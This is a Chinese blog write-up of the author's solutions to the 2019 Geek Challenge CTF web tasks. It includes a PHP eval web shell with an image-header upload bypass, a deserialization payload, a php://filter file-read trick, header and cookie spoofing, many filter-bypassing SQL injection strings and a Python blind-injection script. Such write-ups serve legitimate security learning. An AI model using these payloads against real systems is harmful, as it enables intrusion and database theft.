极客大挑战2019(复习一下漏洞)

目录

[极客大挑战 2019]Upload

一道文件上传题目的题,这道解法以前遇到过

[极客大挑战 2019]PHP

[极客大挑战 2019]Havefun

这道题做完是真的简单

[极客大挑战 2019]Secret File

[极客大挑战 2019]Http

[极客大挑战 2019]Knife

[极客大挑战 2019]BuyFlag

SQL注入题目

[极客大挑战 2019]EasySQL

​编辑

[极客大挑战 2019]LoveSQL

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1" #

[极客大挑战 2019]BabySQL

[极客大挑战 2019]HardSQL

[极客大挑战 2019]FinalSQL


 

[极客大挑战 2019]Upload


一道文件上传题目的题,这道解法以前遇到过

首先试了一下.php,肯定是被过滤喽

然后上传一下图片码发现,它还检测文件的内容

发现过滤了一句话木马的开头,但是前面我们也遇见了用标签可以代替这种

 <script language='php'>eval($_POST['shell‘]);</script>

 然后可是还是不对

返回说欺骗了它,然后就想到是不是校验文件头了

加一个 GIF89a

 果然上传成功,然后链建议就可以了,需要把2.jpg改成2.phtml才可,被解析

http://4c926abd-6b99-412d-88df-d1d3d42a7d3b.node4.buuoj.cn:81/upload/2.phtml

shell链接

 获得flag

 测试了一下2.phtml果然有回显看一下环境

说明真的上传成功,shell是一句话木马的密码 

[极客大挑战 2019]PHP

一道反序列化的题目

打开界面啥都没有,就一个猫,然后看了一下源码,也没有

这种一般都是备份文件了,其实不太喜欢备份文件,扫目录太慢了,打开dirsearch进行扫目录了,其实是先尝试了一下index.php.bak发现没有,扫出来了www.zip

常见的网站源码备份文件后缀:

tar.gz,zip,rar,tar

常见的网站源码备份文件名:

web,website,backup,back,www,wwwroot,temp

 解压了三个文件,class.php,flag.php,index,php

但是打开flag一看就是假的,

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

构造反序列化链,这个有一个坑就是,属性前面定义是private,需要加%00类名%00,这道题而言%00Name%00 这是6个字节%00是一个

构造简单就省略了,直接

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

 但是这道题让我费时间的是,没找到那个输出变量是啥,最后看了wp发现index.php在最下面是

 

 ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

得到flag

[极客大挑战 2019]Havefun

这道题做完是真的简单

首先打开界面是

习惯了先看看源码,没想到,真的有

 输出?cat=dog就输出flag,试了一下竟然还正确

 真的开森

[极客大挑战 2019]Secret File

打开界面一个字秒呀, 老规矩先看一下源码

看见一个地址访问一下吗, 

让我想到了一道 速度太快捕捉不到的题目,发现点击secret后,瞬间跳转到end.php

源码应该会有超链接

看到了 action.php,然后抓包一下记住,action.php写在get那里 

 访问secr3t.php看见了源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

其实意思就是,过滤了 ../ tp input data

然后用伪协议,filter就可以获得flag

?file=php://filter/read=convert.base64-encode/resource=flag.php

记住url要有secr3t.php 因为这是源码界面

 出现了base64编码获得flag

[极客大挑战 2019]Http

打开界面,

查看代码,看见超链接了一个secret.php访问一下

 抓包改一下位置,你没来自这个网站,所以加个Referer

然后又提要求了,你没使用这个 东西Syclover浏览

User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。 

你只能用本地地址访问, 试一下X-Forwarded-For :127.0.0.1

flag出来了,困在了 

User Agent 不知道可以改变浏览器访问,

[极客大挑战 2019]Knife

 感觉是一道命令执行的题目,可是我试了半天,传参都不可以

最后终于想明白了,这不是一句话木马吗,测试了一下Syc=phpinfo();

然后建议直接就链接上了,结束 ,一道签到题

[极客大挑战 2019]BuyFlag

进入页面,直接查看源码,看见了一个端倪

访问,pay.php 

它提示仅仅是cuitstudent学生可以购买flag

然后继续查看源码,发现了

弱比较绕过,传入404%00,系统就会自动识别不是数字

post传参,可是试了好几下都不对,想起了必须是cuit的学生,burp抓包

在Request请求中,Cookie: user=0,这里是身份判断的位置,在布尔值中0为false,1为true,我们将其改为Cookie: user=1以通过身份验证。

 身份成功,

 

 因为

需要购买,所以传入money,但是提示我太长度太长,

显示Nember lenth is too long应该是存在长度限制,这里有两种绕过方法
1、科学计数法绕过money=1e9
2、数组绕过money[]=1   

SQL注入题目

[极客大挑战 2019]EasySQL

1、尝试用账户admin、密码123456登陆,一些常见的账号密码,页面提示错误用户名、密码;
2、再尝试闭合方式,账号输入1,1’,1"判断,当输入为1’时报错,所以判断结果语句应该为单引号闭合(提示:记得密码填上东西)

判断出了,单引号闭合方式,接着试一下万能密码

1' or true# (#是为了省略后面的引号)

密码随便写,#都会忽略掉

得到flag

[极客大挑战 2019]LoveSQL

首先判断一下闭合的方式,发现1‘会报错

然后尝试用一下万能密码  

得到这个界面,然后试了一下发现没用                

又重新开始找思路,试一下联合注入

1' union select 1,2,3# 判断一下回显位置

 查询数据库 1' union select 1,database(),3 #查询到数据库是 geek

继续 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="geek" #

两个表感觉在 后面那个表中

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1" #

 感觉在password中

1' union select 1,group_concat(password),group_concat(username) from l0ve1ysq1#

顺便复习了一下联合注入

[极客大挑战 2019]BabySQL

老办法先判断闭合方式,发现还是单引号

试了一下万能密码发现,回显和我输入的不一样

输入1' or true#

 但回显的时候没有or,应该是把or 过滤成空格了,发现大小写过滤也不行,那就试一下双写注入,oorr成功

和上一道题差不多,感觉这一题会过滤一些常用的函数

1' union select 1,2,3#

 发现把union select都过滤了,继续双写绕过

1' uniunionon selselectect 1,2,3#

1' uniunionon selselectect 1,database(),3#还是geek数据库

1' uniunionon selselectect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 

information又被过滤了  from也没有

因为or被过滤了,所以information也不能幸免

1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables where table_schema=database()#

发现where也被过滤了

1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema=database()# 

终于成功了,感觉是第一个表名

 1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whewherere table_name="b4bsql"# 

  1' uniunionon selselectect 1,group_concat(password),3 frfromom b4bsql# 

试了半天发现不对,看回显不存passwd哦,原来是password的or也被过滤掉了绕过就可以了

1' uniunionon selecselectt 1,group_concat(passwoorrd),3 frfromom b4bsql#

如果

如果界面重叠,缩小比例就可以了 

[极客大挑战 2019]HardSQL

打开网站尝试以前的方法,发现回显都是一句话

union select 等,联合注入都被过滤掉了

然后想到用一下报错注入

这是用的异或手段^.单引号是闭合位置,会出现报错,然后拼接后面  extractvalue是里面有特殊符号会进行报错注入 0x7e就是一个特殊符号

1'^extractvalue(1,concat(0x7e,(select(database()))))#

然后查询表名 

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#

~H4rDsq1

字段名

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#

password

1'^extractvalue(1,concat(0x7e,(select(right(group_concat(password),30))from(H4rDsq1))))#

 发现不完整然后用left和right拼接就可以获得flag

flag{d015f65f-ddd0-4886-87a1-9        left

 '~f-ddd0-4886-87a1-94d5a3c6bcb2}    right

flag{d015f65f-ddd0-4886-87a1-94d5a3c6bcb2}

[极客大挑战 2019]FinalSQL

界面打开时这样,然后一个个点开发现只有id发生了改变 

 这道题,也过滤了很多,看见题目上显示sql盲注,所以想到

说明注入点应该是在id这个位置,我们输入:id=6'

也可以使用异或手段注入,1^0=1,1^1=0,0^0=0

 

 发现跳转到报错界面,

import requests
flag=''
for i in range(1,250):
	left=32
	right=128
	mid=(left+right)//2
	while(left<right):
		res=requests.get('http://e487615c-08e4-4b1d-a3d2-fae355b974c9.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)'%(i,mid))
		if 'ERROR' in res.text:
			left=mid+1
		else:
			right=mid
		mid=(left+right)//2
	if(mid==32 || mid==127):
		break
	flag=flag+chr(mid)
	print(flag)

 表名

res=requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)'%(i,mid))

F1naI1y,Flaaaaag

字段名

res = requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)="Flaaaaag"),%d,1))>%d)'%(i,mid))

id,fl4gawsl

res = requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%d,1))>%d)'%(i,mid))

这道题难就难在,不按套路出牌,Flaaaag里面的f14gawsl字段,里面的值时NO,真正的flag在F1nal1y表里面的password字段

 

就先到这了,接下来想重点了解一下rce无回显的方式,加油!

day day up!

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值